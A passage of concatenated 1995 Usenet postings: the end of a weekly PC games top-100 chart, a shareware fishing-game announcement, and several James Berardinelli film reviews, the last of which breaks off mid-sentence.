54 Raptor: Call of the Shadows {S} Cygnus/Apogee AC [1434] 34 59 ( -)* 1 MONTY PYTHON'S WASTE OF TIME {C} 7th Level AC [1588] 40 60 ( 53) 118 Railroad Tycoon MicroProse ST [1121] 23 61 ( 56) 7 World at War: Stalingrad Atomic/Avalon Hill ST [1584] 27 62 ( 61) 71 Rebel Assault {C} LucasArts/US Gold AC [1374] 33 63 ( 64)^ 22 Realms of Arkania 2 (+Schwarze Auge 2) Sir-Tech RP [1514] 33 64 ( 66)^120 Falcon 3.0 (+add-ons) Spectrum Holob./MicroProse SI [1005] 34 65 ( 60) 25 Aces of the Deep Dynamix/Sierra SI [1500] 23 66 ( 63) 30 World at War: Operation Crusader Atomic/Avalon H. ST [1489] 25 67 ( 71)^ 71 IndyCar Racing Papyrus/Virgin SP [1375] 34 68 ( 62) 80 NHL Hockey Electronic Arts SP [1340] 17 69 ( 78)^120 Links 386 Pro (+add-ons) Access/US Gold SP [1006] 35 70 ( 76)^ 4 Vinyl Goddess from Mars Union Logic AC [1593] 32 71 ( 67) 110 Empire Deluxe (+add-ons) New World ST [1177] 20 72 ( 68) 82 MS Flight Simulator 5.0 Microsoft SI [1334] 21 73 ( 69) 12 Aladdin Disney/Virgin AC [1578] 22 74 ( 73) 72 Slicks 'n' Slide {S} Timo Kauppinen SP [1352] 24 75 ( 72) 16 Trickle Down {O} Multigrain ST [1563] 22 76 ( 70) 40 Theme Park Bullfrog/Electronic Arts ST [1459] 18 77 ( 77) 41 Angband {F} Robert Alan Koeneke RP [1255] 26 78 ( 88)^ 3 Pizza Tycoon MicroProse ST [1594] 36 79 ( 74) 22 Front Page Sports: Football '95 Dynamix/Sierra SP [1520] 19 80 ( 75) 69 Sam & Max Hit the Road LucasArts/US Gold AD [1379] 20 81 ( 82)^ 19 The Incredible Machine 2 Sierra PU [1537] 26 82 ( 90)^120 Wolfenstein 3D (+hacked add-ons) {S} Id/Apogee AC [1013] 31 83 ( 84)^ 4 Alone in the Dark 3 {C} Infogrames/I-Motion AD [1587] 25 84 ( 80) 95 SVGA Air Warrior Kesmai/Konami/GEnie SI [1251] 18 85 ( 89)^ 32 1942 Pacific Air War MicroProse SI [1460] 26 86 ( 85) 11 Cyberia {C} Xatrix/Interplay AC [1574] 18 87 ( 79) 66 Mortal Kombat Probe/Virgin SP [1400] 12 88 ( 83) 44 Harpoon 2 Three-Sixty ST [1462] 16 89 ( 81) 94 Day of the Tentacle LucasArts/US Gold AD [1268] 14 90 ( 87) 15 Video Poker {S} {O} IBM EWS ST [1571] 17 91 ( 91) 9 Knights of Xentar MegaTech RP [1581] 20 92 ( 96)^ 23 MetalTech: Earthsiege Dynamix/Sierra AC [1515] 21 93 ( 92) 120 Darklands MicroProse RP [1008] 17 94 ( 86) 6 All New World (+Lemming Chronicles) DMA/Psygnosis AC [1570] 9 95 ( 98)^ 52 Cannon Fodder Sensible/AVME/Virgin AC [1435] 15 96 ( 94) 106 Ultima 7 Part 2 (+Silver Seed) Origin/El. Arts RP [1195] 12 97 ( -)^ 33 Xquest {S} Atomjack AC [1482] 20 98 ( 93) 45 Hocus Pocus {S} Apogee AC [1456] 9 99 ( 99) 11 Flight Commander 2 Bigtime/Avalon Hill ST [1572] 13 100 ( 95) 16 King's Quest 7: Princeless Bride {W} {C} Sierra AD [1553] 10 Dropped Out: ( 97) 114 Wing Commander 2 (+Sp. Op. 1+2) Origin/Mindscape AC [1007] (100) 13 BlackThorne {S} Blizzard/Interplay AC [1536] ============================================================================== | TW : This Week | The Net PC Games Top 100 is compiled using votes | | LW : Last Week | sent by many people from all over the world. The | | NW : Number of Weeks | latest chart is published every Monday on Usenet | | - : New Entry | in the comp.sys.ibm.pc.games.* newsgroups. | | ^ : Climbing |-----------------------------------------------------| | * : Bullet | If you send your votes, do it like this: | | AC : Action | > 5 Dark Invader [1435] | | AD : Adventure | > 4 Mysterious Forces 2 [1322] | | PU : Puzzle | > 5 Super Fighter [1502] | | RP : Role-Playing | > 2 Magic of Zuul 4 [] | | SI : Simulation | > 4 The Lost Tycoon [] | | SP : Sports |-----------------------------------------------------| | ST : Strategy | (c) 1995 all rights reserved Jojo Productions | | {S}: Shareware | Balderikstraat 16 | | {F}: Freeware | 3032 HC Rotterdam | | {D}: Demo Only | The Netherlands | | {C}: CD-ROM Only | | | {W}: Windows Only | jojo@xs4all.nl | | {O}: OS/2 Only | http://www.xs4all.nl/~jojo | ============================================================================== @START@ScaryFish v2.2 ScaryFish 2.2 (scary22.*) and SCHTKR 1.2 (schktr12.*) readily available! ScaryFish 2.2 is the latest version of a unique multi-species fishing simulation game for IBM-compatible computers. The shareware version gives you fully-functional access to almost 50 "holes" at 3 "worlds", over 25 of the game's 40+ species, and access to most of the game's diverse tackle/equipment selection. Anglers (fishermen) appreciate the realism, but you don't have to know anything about fishing to enjoy the game. The diversity of the situations and always-different results let you run the program again and again. As you run the game a number of hilarious mishaps might occur. ScaryFish appeals to all ages and is popular with many who don't normally play computer games as well as regular gamers. System requirements are still extremely low: an IBM-compatible computer with at least 470K RAM. Graphics are not required (!), but the game supports up to 640x480 VGA. The zipfile is under 200K; obviously the game won't clog up your disk space. The new version includes the spectacular results of the 1994 records competition (result94.txt). ScaryFish has one of the most extensive "highscore" lists of any game, mostly for big fish. Now records are saved for all species as opposed to just the original 32, so species such as Shark and Tarpon are now eligible. SCHTKR is the "lite" version of the game's Make Your Own Worlds Utility (MOWU) that lets you create your own "worlds" for use with the game. It also has a custom screensaver of fish species anglers care about as well as a challenging set of rapids at one of the program's example worlds. SCHTKR and the MOWU have a design competition where you could win $200 or more! The deadline for the first Best Worlds Contest has passed, with entries from 4 countries. Beginning May 1 1995 registered users can order a User Worlds disk with hundreds of new fishing holes and the opportunity to vote for their favorite "world", for a low $9 to cover costs. The deadline for the second Best Worlds Contest is December 31, 1995. Filenames are scary22.zip and schtkr12.zip. Ahti Eric Rovainen PMP Software @START@Review: Dolores Claiborne DOLORES CLAIBORNE A film review by James Berardinelli Copyright 1995 James Berardinelli RATING (0 TO 10): 7.8 U.S. Availability: general release 3/24/95 Running Length: 2:11 MPAA Classification: R (Mature themes, language) Starring: Kathy Bates, Jennifer Jason Leigh, Christopher Plummer, David Strathairn, Judy Parfitt, Ellen Muth, John C. Reilly, Eric Bogosian Director: Taylor Hackford Producers: Taylor Hackford and Charles Mulvehill Screenplay: Tony Gilroy based on the book by Stephen King Cinematography: Gabriel Beristain Music: Danny Elfman Released by Columbia Pictures Stephen King makes his living by writing horror stories, so it's odd that the most successful screen adaptations of his work are those outside the boundaries of his usual genre. STAND BY ME, MISERY, THE SHAWSHANK REDEMPTION, and now DOLORES CLAIBORNE are all intelligent, well-fashioned films that bear little resemblance to the gory schlock of SLEEPWALKERS and PET SEMATARY. DOLORES CLAIBORNE begins as a dark and dreary murder mystery set in the small town of Little Tall, Maine. The skies above this village are continually congested with clouds, the streets are slick with rain, and the sea is gray and angry. Yet this story, which starts out as an investigation of a suspicious death, soon takes a grim, disturbing turn. Memories crowd out the present as the narrative takes us back eighteen years to expose the ugly roots of one family's dysfunction. Two deaths lie at the center of DOLORES CLAIBORNE--Vera Donovan's (Judy Parfitt) in the present and Joe St. George's (David Strathairn) in the past. After Joe fell into a partially-concealed well during the total solar eclipse of 1975, his wife Dolores (Kathy Bates) was suspected, but never convicted, of murder. The death was eventually ruled as accidental, splotching the previously-perfect record of Detective John Mackey (Christopher Plummer). Now, nearly two decades later, Dolores stands accused of killing her invalid employer and, although the evidence is entirely circumstantial, Mackey is determined to get a conviction. Dolores' daughter Selena (Ellen Muth at age 13; Jennifer Jason Leigh at age 31), a reporter living in New York city, receives a fax of an article in a Bangor newspaper detailing her mother's suspected involvement in Vera's death. Haunted by her muddled recollections of her father's end and driven by an unshakable conviction that her mother is guilty, she takes a brief leave-of-absence to go home. Once there, she is confronted not only by the unpleasantness of the present, but by the ghosts of the past. Parts of DOLORES CLAIBORNE are delivered with an unshielded emotional and psychological impact. The script is not consistently at this high level--there are times, most notably during the climactic sequence--when unfortunate choices are made, but the overall result is a film that illuminates certain "forbidden" shadows. Generally, mainstream movies avoid risky material like this honest exposition of the issues underlying the fissure between Dolores and Selena. The main characters, mother and daughter, are well-written and effectively portrayed. Dolores is a sad, lonely survivor who has, perhaps unjustly, endured a lifetime of misery. Secrets can be an oppressive burden, and Dolores has been worn down by them. Selena, on the other hand, has become an alcoholic and drug-abuser as the result of what she has repressed. Bates and Leigh, two accomplished and versatile actors, are in peak form as they settle into the isolation of their characters--two very different people whose individual pain is intertwined. Less effort is vested in DOLORES CLAIBORNE's male principals. In the case of Joe, this is understandable. He exists only in flashbacks with our impressions filtered through Dolores' perspective. She has no reason to recall him kindly, and Strathairn's portrayal echoes this. Plummer's John Mackey, on the other hand, is basically an unpleasant person. Supposedly, he's a very good detective, but we're never shown anything other than obsession and bitterness. There's a lot to digest in DOLORES CLAIBORNE. The subtle visual effects, which mix digital animation and live-action, form an effective framework for a story teeming with emotional turmoil. With their unique method of delineating shifts in time (a person in the present actually walking into the past), the flashbacks are invested with a degree of eerie immediacy. Although the forced ending, which seems deigned to create an unnatural moment of triumph, weakens the climactic catharsis, it doesn't diminish the human tragedy which is central to DOLORES CLAIBORNE. - James Berardinelli (jberardinell@delphi.com) @START@Review: Camilla CAMILLA A film review by James Berardinelli Copyright 1995 James Berardinelli RATING (0 TO 10): 5.4 U.S. Availability: varies (early 1995) Running Length: 1:29 MPAA Classification: PG-13 (Nudity, language, mature themes) Starring: Jessica Tandy, Bridget Fonda, Elias Koteas, Maury Chaykin, Graham Greene, Hume Cronyn Director: Deepa Mehta Producer: Simon Relph Screenplay: Paul Quarrington based on a short story by Ali Jennings Cinematography: Guy Dufaux Music: Daniel Lanois Released by Miramax Films The first word that comes to mind when attempting to describe CAMILLA is "ordinary." Nothing in this film, except perhaps a few appealing performances, is worth a backward glance. CAMILLA is the kind of dull, vapid road picture that makes melodramatic twaddle like Edward Zwick's 1992 LEAVING NORMAL look invigorating. The problems start with the story--a sad combination of predictable circumstances, recycled characters, and requisite cliches. Admittedly, these are strung together with skill, but the lack of special moments makes CAMILLA a largely-unimpressive experience. This is all- too-familiar territory, with a worthy cast doing their best to salvage something. Freda and Vincent Lopez (Bridget Fonda and Elias Koteas) are vacationing in Georgia. He's a graphic designer and she's a composer. One day, while taking a stroll, Freda hears violin music. Intrigued, she investigates and meets Camilla Cara (Jessica Tandy), an aging-but- energetic former concert performer living in a neighboring mansion owned by her movie producer son Harold (Maury Chaykin), whom she refers to as "a thief and a buffoon." Vincent and Harold hit it off immediately, leading to a job offer for Vincent to design Harold's movie posters. Eager to get started, Vincent agrees to fly back to Toronto while Harold goes to Atlanta to check on the progress of his latest flick. Freda elects to remain in Georgia with Camilla. After the departure of the men, the two women quickly form a friendship that transcends the generation barrier. On a spur-of-the-moment impulse, they pack a few things and get in Freda's car to head north for the Winter Gardens in Toronto where Brahms' Violin Concerto--the most difficult piece ever attempted by Camilla--is scheduled to be performed. The trip doesn't go smoothly, however, and along the way there are a number of detours, including a disastrous ferry boat excursion and a stopover at Niagara Falls. CAMILLA is an undemanding motion picture--too undemanding, in fact. Despite winning performances by the leads, there's little here for an audience to chew on. The film rambles along lazily, requiring little more from viewers than that they avoid going into a coma. Cursory attention is fine--go to the bathroom and you won't miss anything. CAMILLA isn't a "bad" movie per se. It's just a rather flat and uninspired one--the kind of thing that started with high hopes and good intentions, but never developed further. It has a made-for-TV feel irrespective of the big-name cast, something like a DRIVING MISS DAISY lite. Nevertheless, Jessica Tandy, in the penultimate role of a distinguished career, shines through the subpar material, occasionally making this film not only bearable, but somewhat engaging. - James Berardinelli (jberardinell@delphi.com) @START@Review: Bad Boys BAD BOYS A film review by James Berardinelli Copyright 1995 James Berardinelli RATING (0 TO 10): 4.0 U.S. Availability: wide release 4/7/95 Running Length: 1:59 MPAA Classification: R (Violence, language, mature themes) Starring: Martin Lawrence, Will Smith, Tea Leoni, Tcheky Karyo, Theresa Randle, Joe Pantoliano Director: Michael Bay Producers: Don Simpson and Jerry Bruckheimer Screenplay: Michael Barrie, Jim Mulholland, and Doug Richardson Cinematography: Howard Atherton Music: Mark Mancina Released by Columbia Pictures 48 HOURS, BEVERLY HILLS COP, and LETHAL WEAPON were all, to some extent, reasonably entertaining action films. The unavoidable result of their success has been a long string of sequels and rip-offs. The latest is BAD BOYS, an overlong sample of MTV-style direction that "borrows" heavily from these (and numerous other) flicks, and, in the process, elevates them to the comparable level of CITIZEN KANE. The action sequences--and there are a lot of them--are apparently designed to camouflage the lack of a credible story. I suppose someone guessed that if the audience was too busy following bullets, bodies, and explosions, they wouldn't have time to wonder about things like logic and coherence. Unfortunately, the movie contains occasional moments of inactivity and, during those, the first thing that comes to mind is: What's the point? After asking the question a few times, it becomes clear that not only are things moving fast, but they're completely out of control. Consider what happens to a downhill skier or race car in this situation, and you get an idea of what BAD BOYS has to offer. When it came to putting ideas on paper, the writers had a beginning (a drug heist from the Miami P.D.'s evidence safe) and an ending (guess what happens to the bad guys). They also had a premise: take a couple of mismatched cops who hide their respect for each other, and team them with a female civilian/witness who is destined to prove her worth, but only after botching things a few times. No, it's not original, but it's the only glue that holds this production together, even if it is spread far too thin. Because outside of these few basics from script writing 101, no thought was put into the screenplay for BAD BOYS. The cops, Marcus Burnett and Mike Lowrey, are played by TV sitcom stars Martin Lawrence and Will Smith. For reasons too silly to explain, they're forced to swap identities whenever they're with a murder witness (Tea Leoni). If there ever was comic potential in this unnecessarily contrived situation, it's not realized. I think THREE'S COMPANY may have done the same thing, only better. Much better. Smith and Lawrence are likable, and they have a certain modest chemistry that surfaces during the so-called "humorous" banter, but everything about their characters is a regurgitation of previously recycled material. (Does that make it re-recycled?) The other characters are equally familiar: the tough female sidekick, the loyal wife (Theresa Randle), the evil drug lord (Tcheky Karyo), and the loud- mouthed police captain (Joe Pantoliano). The most complimentary thing I can say about BAD BOYS is that it has style and energy. The cinematography is frequently inventive, and Mark Mancini's SPEED-like score is the perfect accompaniment for chases and fights. Unfortunately, there's only so far a movie can go on loud music, nicely-framed shots, testosterone, and adrenaline. BAD BOYS takes the often-traveled road, and leads the audience to a dead end. - James Berardinelli (jberardinell@delphi.com) @START@Review: Funny Bones FUNNY BONES A film review by James Berardinelli Copyright 1995 James Berardinelli RATING (0 TO 10): 4.6 U.S. Availability: limited release 3/24/95 Running Length: 2:07 MPAA Classification: R (Mature themes, language, violence, body parts) Starring: Oliver Platt, Lee Evans, Leslie Caron, Freddie Davies, George Carl, Jerry Lewis, Ruta Lee Director: Peter Chelsom Producers: Simon Fields and Peter Chelsom Screenplay: Peter Chelsom and Peter Flannery Cinematography: Eduardo Serra Music: John Altman Released by Hollywood Pictures FUNNY BONES is anything but what the title suggests. As a comedy, this movie is a complete flop, with fewer laughs than the average mindless sitcom. As a drama, it isn't much more successful. Writer/director Peter Chelsom, who brought us 1992's magical HEAR MY SONG, here gives us an array of offbeat characters who lack any semblance of three-dimensionality. They all have their little quirks, but none is able to engage our attention or sympathy. For the most part, FUNNY BONES is flat. Even the presence of funny man Jerry Lewis, still as energetic and zany as ever, can't liven up these proceedings. The story doesn't allow for much light humor, preferring instead to dwell on long-buried family secrets, and the tone has only two modes: dismal and grim. While this might be the proper mood for a tragedy of Shakespearean proportions, the actual story turns out to be rather unspectacular--not to mention muddled. Tommy Fawkes (Oliver Platt) is an up-and-coming comedian about to go on stage for his big Las Vegas debut. On hand are his mother, Laura (Ruta Lee), and father, George (Jerry Lewis), a world-famous comic. From the beginning, Tommy's evening is a disaster. No one's laughing at his jokes and he's becoming progressively more desperate. Finally, after the spectacular failure of one gag, Tommy walks off the stage after informing his audience that he has only two weeks to live (this is a metaphorical, not factual, statement). Meanwhile, across the Atlantic, a transaction is taking place between two ships. A group of Englishmen, led by an unscrupulous policeman named Stanley Sharkey (Ian McNeice), is buying six mysterious "eggs" from four Frenchman. Sharkey's party has no intention of playing fair, however, and things get ugly. One of the French crew is killed; one of the English, Jack Parker (Lee Evans), is hung out to dry by his companions; and an egg is lost. Jack, a strong swimmer, manages to make his way to shore. Once on solid land, his emotional instability gets the better of him and he climbs the Blackpool tower, threatening to kill himself. He is talked down through the efforts of his father (Freddie Davis), uncle (George Carl), mother (Leslie Caron), and a dog called Toast. Fresh from his Las Vegas failure, Tommy arrives in Blackpool, intending to find and buy funny acts to convert for his own use. After witnessing dozens of embarrassing performances, Tommy is introduced to the Parker Brothers--two aging gentlemen with a "unique" slapstick act. Things are not as straightforward as they first seem, however, and in getting to know the Parkers, Tommy is forced to confront unpleasant truths about himself and his famous father. Anyone who has seen a Vaudeville act knows that, like the routines of standup comics, they're a lot more funny in person than on camera. In fact, it takes an extremely talented performer to effectively translate a portion of the spontaneous humor to the screen. In FUNNY BONES, while the cast is comprised of accomplished actors, no one exhibits this ability. Unfortunately, more than one quarter of the film is devoted to Vaudeville performances, and these sequences are more often tedious than diverting. As lifeless as the slapstick routines are, a solidly-dramatic script could have salvaged FUNNY BONES. Alas, there isn't one. Oh, there are a few clever lines here and there, and one or two thought provoking ideas, but little is done with any of the better elements. Character development is routine and the narrative often strays onto odd tangents. By the time the overlong story sputters to a close, only a few loose ends have been tied off, and you're unlikely to care about the ones left unresolved. This motion picture is a disjointed, messy affair, and a disappointment to those who had been looking forward to this director's sophomore effort. - James Berardinelli (jberardinell@delphi.com) @START@Review: Priest PRIEST A film review by James Berardinelli Copyright 1995 James Berardinelli RATING (0 TO 10): 8.5 U.S. Availability: limited release beginning 3/24/95 Running Length: 1:40 MPAA Classification: R (Mature themes, sex) Starring: Linus Roache, Tom Wilkinson, Cathy Tyson, Robert Carlyle, Christine Tremarco, Robert Pugh, Lesley Sharp, James Ellis Director: Antonia Bird Producers: George Faber and Josephine Ward Screenplay: Jimmy McGovern Cinematography: Fred Tammes Music: Andy Roberts Released by Miramax Films The Catholic community's outcry against PRIEST has already begun, and it will doubtlessly become more intense before it abates. One of the most disturbing elements of any organized protest of this sort is that most of those involved will not have seen the picture in question. Another equally unfortunate byproduct is that, as was the case with THE LAST TEMPTATION OF CHRIST, the movie itself may get lost somewhere in the resulting polarization. If that happens, it will be a shame, because PRIEST has a lot to say, and doesn't deserve to be hamstrung by those who miss the point or have no idea what they're talking about. The main character is Father Greg Pilkington (Linus Roache), a by-the-book, straightlaced Roman Catholic priest who is new to a rural parish in Great Britain. Father Greg is the sort who believes his job is to give moral advice, not act as a social activist--a charge he levels against fellow priest Father Matthew Thomas (Tom Wilkinson). While trying to serve his flock, however, Father Greg has his own personal demons to wrestle. Not only is he unable to keep his vow of celibacy, he breaks it with another man--something many of his less tolerant parishioners would surely view as an "abomination" if they learned of it. Even as he struggles with his sexual identity and its implications, Father Greg is forced to endure an additional crisis of faith when a fourteen year old girl (Christine Tremarco) comes to him under the seal of confession and admits to being sexually molested by her father. There is nothing in PRIEST that hasn't appeared in recent newspaper accounts, which makes the Catholic League's opposition to the film somewhat ludicrous, not to mention hypocritical. Perhaps they feel threatened by PRIEST's depiction of men of the cloth as flawed human beings rather than as icons. Certainly, the men who don the collar here are not perfect, but neither are they lunatics, Epicureans, or devils. Jimmy McGovern's script does an excellent job of dovetailing the two main elements of the film--Greg's homosexuality and Lisa's sexual abuse--into a compelling whole, often using unexpected bursts of humor to keep the level of tension from becoming too intense. Arguably, the more stirring story centers on the priest's battles with his conscience over how to help Lisa, but this film wouldn't have the same emotional resonance without the other pieces. In fact, the final scene incorporates several threads into a moment that, while perhaps a little overdone, is nonetheless powerful. PRIEST addresses both social and religious themes. At its core, however, is the question of absolute certainty versus faith. There is, of course, no answer to most of the questions that Greg agonizes over, but these--such as how Christ could expect him to keep silent when that silence condemns a girl to continued suffering--are presented for the audience's consideration. It is by his reaction to the issues that Greg's true character is slowly revealed. It doesn't take long for us to realize that our first impression of the man is as false as his facade. Linus Roache gives a multi-layered portrayal of Father Greg, presenting a character we can accept equally as a spiritual advisor and as the tortured man beneath the collar. Tom Wilkinson is more understated, but no less real, at Father Matthew, the older priest who accepts Greg's confidences without judging him. Christine Tremarco is chillingly believable as Lisa, and Robert Pugh radiates menace as her father--a man who gives a horrifyingly logical explanation for his activities. Provocative films like PRIEST rarely arrive without creating some sort of controversy. By not compromising her vision (which is similar to that of fellow British film maker Ken Loach), director Antonia Bird has fashioned a picture that not only stirs up a hornet's nest of timely and volatile spiritual issues, but faces up to homosexuality and incest with a frankness which few films dare. PRIEST is effective not only because of all the ground it traverses, but because the final turn brings closure without excess. - James Berardinelli (jberardinell@delphi.com) @START@Review: Stuart Saves His Family STUART SAVES HIS FAMILY A film review by James Berardinelli Copyright 1995 James Berardinelli RATING (0 TO 10): 4.2 U.S. Availability: general release 4/12/95 Running Length: 1:37 MPAA Classification: PG-13 (Language, mature themes) Starring: Al Franken, Laura San Giacomo, Vincent D'Onofrio, Shirley Knight, Harris Yulin, Lesley Boone Director: Harold Ramis Producers: Lorne Michaels and Trevor Albert Screenplay: Al Franken based on his book Cinematography: Lauro Escorel Music: Marc Shaiman Released by Paramount Pictures STUART SAVES HIS FAMILY is yet another feature spinoff of a SATURDAY NIGHT LIVE skit. Unfortunately, like the notable flops that preceded it (THE CONEHEADS, IT'S PAT), this one should have remained confined to television. Stretched out to an agonizing ninety-seven minutes, STUART goes from being passably amusing to tedious to virtually unwatchable. Of course, part of the problem is the script, which suffers from a bizarre case of split personality--this has to be the first SNL movie that attempts to deliver a drama-based denouement. Since FORREST GUMP debuted to universal popular acclaim, the movie- going community has been awaiting the inevitable copycats. Odd that the first should come from the same production company that distributed GUMP (Paramount), and that it should emerge from under the SNL umbrella. While it wouldn't be unexpected for writer/star Al Franken to parody Robert Zemeckis' megahit, that's not the approach he chose. Instead, with only the barest hint of mockery, he has tapped into the mawkishness that made GUMP so well-loved. Stuart isn't necessarily a Forrest clone, but he's a socially-challenged individual who overcomes great adversity to attain fame and prosperity. The film starts out with a light, satirical touch, showing us part of an episode of a cable access show called DAILY AFFIRMATION, which is hosted by Stuart Smalley (Al Franken). Stuart, a member of about half-a- dozen support groups, including Al-anon, Overeaters' Anonymous, and Debtors' Anonymous, lisps his way through the short program, dispensing pop psychological advice. His "fifteen minutes of fame" are in jeopardy, however, since the director of programming has moved DAILY AFFIRMATION from its customary 12:00 noon slot to 2:45 am, right after a hair replacement infomercial. Stuart's family is as dysfunctional as they come. His father (Harris Yulin) and brother (Vincent D'Onofrio) are alcoholics, his sister (Leslie Boone) is angst-riddled and overweight, and his mother (Shirley Knight) is indecisive and insensitive. As Stuart puts it (in one of the film's wittiest lines), "Seeing my mother is like a trip to the dentist's before the advent of modern pain killer." Fortunately, Stuart lives in Chicago, where he has friends like the equally screwed up Julia (Laura San Giacomo), while his family is a long bus trip away in Minnesota. Nevertheless, a series of events, beginning with the death of an aunt, keeps Stuart shuttling back and forth between states. It's difficult to say whether, given a chance, the movie could have succeeded as a uncompromising lampoon. The opening half-hour, which is played almost exclusively for laughs, has its moments (several of which are highlighted by Marc Shaiman's perfectly-toned score), but there's a feeling that the material is already being stretched beyond its natural limits. The film, however, decides to get serious. Instead of continuing its jokey, farcical tone, it turns almost grim as the storyline centers on the cancerous effects of alcoholism in Stuart's family. There's nothing humorous in the scenes where Stuart and his siblings confront their father about how his drinking has scarred their lives. While on the surface it might seem laudable that Franken has decided to guide his film in this unexpected direction, the problem is that the drama doesn't work. It comes across as flat and heavy-handed. Since each member of Stuart's family is initially introduced as a stereotypical caricature, it's difficult to accept any of them in a situation where they're intended to be taken seriously. Franken doesn't seem to realize that his one-dimensional characters lack the depth necessary for believable drama. The result is a failed attempt to turn a SATURDAY NIGHT LIVE spinoff into a social commentary. Like Forrest Gump, Stuart Smalley has his arsenal of pithy sayings, including "It's easier to put on slippers than to carpet the entire world." Such comments seek to put a lighter spin on a bleak topic, but they're offered up too late. By then, a heavy dose of gravity has already capsized the floundering ship. In the end, it's this movie that needs saving--but there's no life preserver. - James Berardinelli (jberardinell@delphi.com) @START@Review: Tank Girl TANK GIRL A film review by James Berardinelli Copyright 1995 James Berardinelli RATING (0 TO 10): 6.8 U.S. Availability: general release 3/31/95 Running Length: 1:44 MPAA Classification: R (Violence, language, sexual situations) Starring: Lori Petty, Malcolm McDowell, Naomi Watts, Ice T, Jeff Kober, Don Harvey, Stacy Linn Rawsower Director: Rachel Talalay Producers: Richard B. Lewis, Pen Densham, and John Watson Screenplay: Tedi Sarafian based on the comic book created by Jamie Hewlett and Alan Martin Cinematography: Gale Tattersall Music: Graeme Revell Released by United Artists Pictures When it comes to embracing camp, there's no halfway point. To be successful in this arena, a movie must turn its back on even the semblance of conventionality, expressing everything from the most insignificant line of dialogue to a climactic event with an irreverence that would make the Monty Python troupe members offer winks and nudges of appreciation. It is because TANK GIRL takes this approach that it germinates into a high-spirited, madcap example of film making run amok. Certainly, this movie isn't art, but it sure is fun. Film adaptations of comic books have become nearly as prevalent as those based on Stephen King stories. In some cases (THE CROW, THE MASK), they work reasonably well. In others (TALES FROM THE CRYPT), the results are disastrous. None, however, not even Jim Carrey's special effects tour de force, have gone to the extremes visited by TANK GIRL. Nothing is sacred--this movie pushes the envelope as far as it will go, and the result is an offbeat and energized juxtaposition of action and comedy. This is the kind of tone that films like HUDSON HAWK, THE LAST ACTION HERO, and DEMOLITION MAN tried in vain to capture. It's the mixture of seeming spontaneity and a total lack of seriousness that fuels whatever success TANK GIRL has. The name of the game is outrageousness, and the script never attempts anything that might damage it. There is no characterization to speak of, and the plot is simply a nonsensical piece of fluff upon which to drape so much excess. And just when you think things can't get sillier, something happens to change your mind, whether it's the insertion of oddly-rendered animated sequences, a bizarre rendition of Cole Porter's "Let's Do It", or Lori Petty's title character sporting a brassiere that would make Madonna gasp with envy. TANK GIRL takes place in a post-apocalyptic future. In this scenario, the Earth-devastating disaster was a comet strike, and it has left most of the globe in ruins and water in short supply. There are three types of survivors: members of an organization called Water and Power, small bands of nomads who won't submit to authority, and the mysterious and deadly Rippers. Rebecca (Lori Petty), aka "Tank Girl", is a member of a renegade faction in the Blue Dunes. When Water and Power troops arrive, they kill everybody except Rebecca and a little girl called Sam (Stacy Linn Rawsower). While the girl is sent to work in a strip joint, Rebecca is granted a personal audience with Kesslee (Malcolm McDowell), the leader of Water and Power. Kesslee wants Rebecca to join his forces. When she refuses, she's put to work in a labor comp. While looking for a way to escape, Rebecca meets another ill-treated woman (Naomi Watts). Together, the pair search for a way out of Water and Power's fortress while Kesslee plots how to use Rebecca to uncover the secret entrance to the lair of the Rippers--the vicious and hitherto untouchable group of "demons" that routinely slaughter Water and Power troops. Given her bleached blond punk hairdo and ever-perky expression, Lori Petty is an inspired choice for Tank Girl. She gets all the right inflections on the one-liners and doesn't know the meaning of the term "reserve". Malcolm McDowell, the consummate over-the-top villain, displays a far more delectable nastiness here than in STAR TREK GENERATIONS. This bad guy is someone to root against. Naomi Watts is appealing as Tank Girl's sidekick and Ice T is virtually unrecognizable as the Ripper T-Saint. With a breakneck, don't-bother-to-stop-and-think-about-it pace, TANK GIRL zips along for over one-hundred moments, only occasionally lapsing from its zaniness. The rock-and-rap soundtrack, supervised by Courtney Love-Cobain, invigorates certain scenes, and blends nicely with the visuals. Judging by the finished product, it's pretty clear that director Rachel Talalay achieved her vision. TANK GIRL is one of those chew-the-popcorn, munch-the-candy flicks--the kind you go into expecting to have a good time, but nothing more. Given those expectations, disappointment is as unlikely as boredom. - James Berardinelli (jberardinell@delphi.com) @START@Review: Jefferson in Paris JEFFERSON IN PARIS A film review by James Berardinelli Copyright 1995 James Berardinelli RATING (0 TO 10): 7.2 U.S. Availability: limited release 4/7/95 Running Length: 2:22 MPAA Classification: PG-13 (Mature themes) Starring: Nick Nolte, Greta Scacchi, Thandie Newton, Gwyneth Paltrow, Lambert Wilson, Simon Callow Director: James Ivory Producer: Ismail Merchant Screenplay: Ruth Prawer Jhabvala Cinematography: Pierre L'Homme Music: Richard Robbins Released by Touchstone Pictures THE BOSTONIANS. A ROOM WITH A VIEW. MR. AND MRS. BRIDGE. HOWARDS END. THE REMAINS OF THE DAY. These represent the best of Merchant- Ivory--a category in which their latest, JEFFERSON IN PARIS, does not belong. Nevertheless, although this examination of several years in the life of Thomas Jefferson (the U.S. minister to France between 1784 and 1789) is flawed, it nevertheless represents two-plus hours of diverting melodrama. The historical accuracy of certain plot points may be in doubt, but this certainly isn't the first motion picture "based on a true story" to play loose with the facts. Nick Nolte looks like Thomas Jefferson, and his deserved reputation as a fine actor further argues in his favor as the perfect choice for the title role. Inexplicably, however, Nolte is actually rather flat. As was the case with Robert Duvall in HBO's STALIN, the part seems to smother him. He's adequate, but no emoting is involved, and there are many sequences where Jefferson comes across as stiff and lifeless. Nolte never successfully forges a bond between his character and the audience. The whole film is rather superficial. It tells its story reasonably well, but doesn't do much more. Considering that this picture comes from Merchant-Ivory, the producer-director team that has given us a number of multi-layered films, the lack of depth is disappointing. JEFFERSON IN PARIS is just another MASTERPIECE THEATER-style costume drama. There are four principle storylines developing in parallel throughout the movie. The first relates to Jefferson's burgeoning friendship/romance with painter Maria Cosway (Greta Scacchi). The second follows the changes in his relationship with one of his slaves, fifteen- year old Sally Hemings (Thandie Newton). Another examines the jealous reactions of his daughter Patsy (Gwyneth Paltrow) to his mistresses. The final, and potentially most interesting, is an observation of the political events leading up to the French Revolution, and how Jefferson reacts to these. In JEFFERSON IN PARIS, it's the secondary performers who impress. Thandie Newton (FLIRTING) brings life and vibrancy to Sally (although there is one horribly over-the-top scene where she dances for Jefferson in the privacy of his bed chamber). Gwyneth Paltrow, who was excellent in her FLESH AND BONE debut, gives a multi-dimensionality to a character conflicted by love, commitment, and jealousy. Simon Callow (FOUR WEDDINGS AND A FUNERAL) has a delightful turn as the gay husband of Scacchi's Maria. When it comes to issues, 